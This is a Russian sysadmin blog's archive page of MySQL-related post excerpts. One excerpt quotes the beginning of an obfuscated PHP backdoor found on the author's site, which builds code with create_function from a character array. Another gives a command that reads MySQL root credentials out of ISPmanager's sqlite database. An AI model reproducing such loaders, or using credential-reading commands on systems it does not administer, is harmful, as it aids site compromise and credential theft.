Сибирь. Сабынич. Айти

о природе, личной жизни и информационных технологиях

mysql

Конфигуратор файла репозитория для MariaDB

Случайно наткнулся на удобный конфигуратор от разработчиков форка MySQL, который позволяет создать файл под все популярные дистрибутивы и версии Linux. Живет конфигуратор здесь — https://downloads.mariadb.org/mariadb/repositories/ На скриншоте можно увидеть вариант выбора и получения результата для MariaDB 10.1 и CentOS 7 64bit, который выключает не только содержимое файла, но и команду для установки сервера баз данных.

Установка php-расширения mysqli в cPanel/WHM

Для того, чтобы установить расширение php MySQLi на сервере под управлением cPanel/WHM потребуется всего несколько шагов: Авторизуйтесь в cPanel WHM под администратором. В разделе «Software» перейдите по ссылке EasyApache (Apache Update). На странице EasyApache, убедившись, что выбрано Previously Saved Config, выберите и нажмите на кнопку Start customizing based on profile. Можно не глядя нажать несколько раз Next, пока не […]

Узнать пароль от root mysql в ISPmanager5

В новой ветке панели управления ISPmanager5 от компании ИСПсистем, все настройки хранятся в базе данных sqlite3. Для того, чтобы узнать root-пароль от MySQL, следует выполнить следующую команду: sqlite3 /usr/local/mgr5/etc/ispmgr.db «select username,password from db_server;» Полученный вывод root|<password> и есть искомый root-пользователь и его пароль.    

Очистка базы question2answer от спама

У меня есть поддомен ask.sabini.ch, где у меня установлен скрипт Question2answer. Это движок сервиса вопросов-ответов типа «ответы.майл.ру» и подобного. Нередко я им пользуюсь для публикации кратких заметок. Плюс использую для обратной связи с посетителями блога. Ведь не всегда им хочется прокомментировать что-то по теме. Иногда и новые вопросы возникают. Там нередко эти вопросы и появляются. […]

zabbix «вопросики» в админке

Я особо не смотрел систему мониторинга Zabbix, но периодически встречаюсь с ней. В админке после переключения на русский язык в поле «История:» (видимо, какой-то аналог «хлебных крошек» на сайтах) появились символы «????» вместо названия разделов административной панели. Как оказалось, установлено все было неглядя на текущую настройку mysql и получилось следующее: В Mysql настроено сравнение cp1251, […]

Смена пароля администратора в Drupal 7

Сегодня неожиданно понял, что не помню пароля от администратора на тестовом сайте. Я его сменил и делюсь решением с общественностью. Решение работает для Drupal 7. Первым делом используя файл ./scripts/password-hash.sh создаем хэш пароля. ./scripts/password-hash.sh <новый пароль> далее в любом удобном клиенте для доступа к БД, будь то phpmyadmin, или консоль mysql, или консоль sqlite меняем […]

Вирусы на сайте #3

Продолжаем бесконечную историю. Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL. Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =) Сегодня наткнулся на такую прелесть: <?php $md5 = «abe69649a7dbde93d328df6049b55aea»; $wp_salt = array(‘(‘,’t’,’v’,’d’,»i»,»o»,»;»,»b»,’4′,’n’,»a»,»z»,’)’,»c»,»f»,»6″,»r»,»g»,»l»,»e»,»$»,’_’,’s’); $wp_add_filter = create_function(‘$’.’v’,$wp_salt[19].$wp_salt[2].$ […]

Сменить префикс таблиц в базе данных mysql

Когда требуется сменить префикс таблиц в mysql, то на помощь придет следующий скрипт, который я нарыл на каком-то форуме: <?php $link = mysql_connect(«localhost», «<USER>», «<PASSWORD>»); $query = «SHOW TABLES FROM <TABLE>»; mysql_select_db(«<TABLE>»); $result = mysql_query($query,$link); while ($opis= mysql_fetch_array($result)) { print $opis[0]; $new = mysql_query («ALTER TABLE `».$opis[0].»` RENAME `».str_replace(«<PREF1>»,»<PREF2>»,$opis[‘0’]).»`;»,$link); } mysql_close($link); ?> Если кто знает […]

Обновление BILLmanager до Corporate

В табличке doctemlp в поле account следует заменить значение на 1 для всех. И удалить уникальный ключ name. Услышал краем уха, что скоро эти магические пассы руками не потребуются.

BILLmanager и отчеты в pdf

В BILLmanager есть возможность отправки отчетов в PDF по электронной почте. Но как оказалось, нужное поле text имеет ограничение в 65536 байт. Поэтому громоздкие отчеты с большими логотипами приходят в поврежденном виде. Как временное решение, есть вариант использования следующего рецепта: В параметрах MySQL следует увеличить значение параметра max_allowed_packet, а так же в таблицах sendemail и sendemailpdf изменить […]

Пролистать наверх
Exit mobile version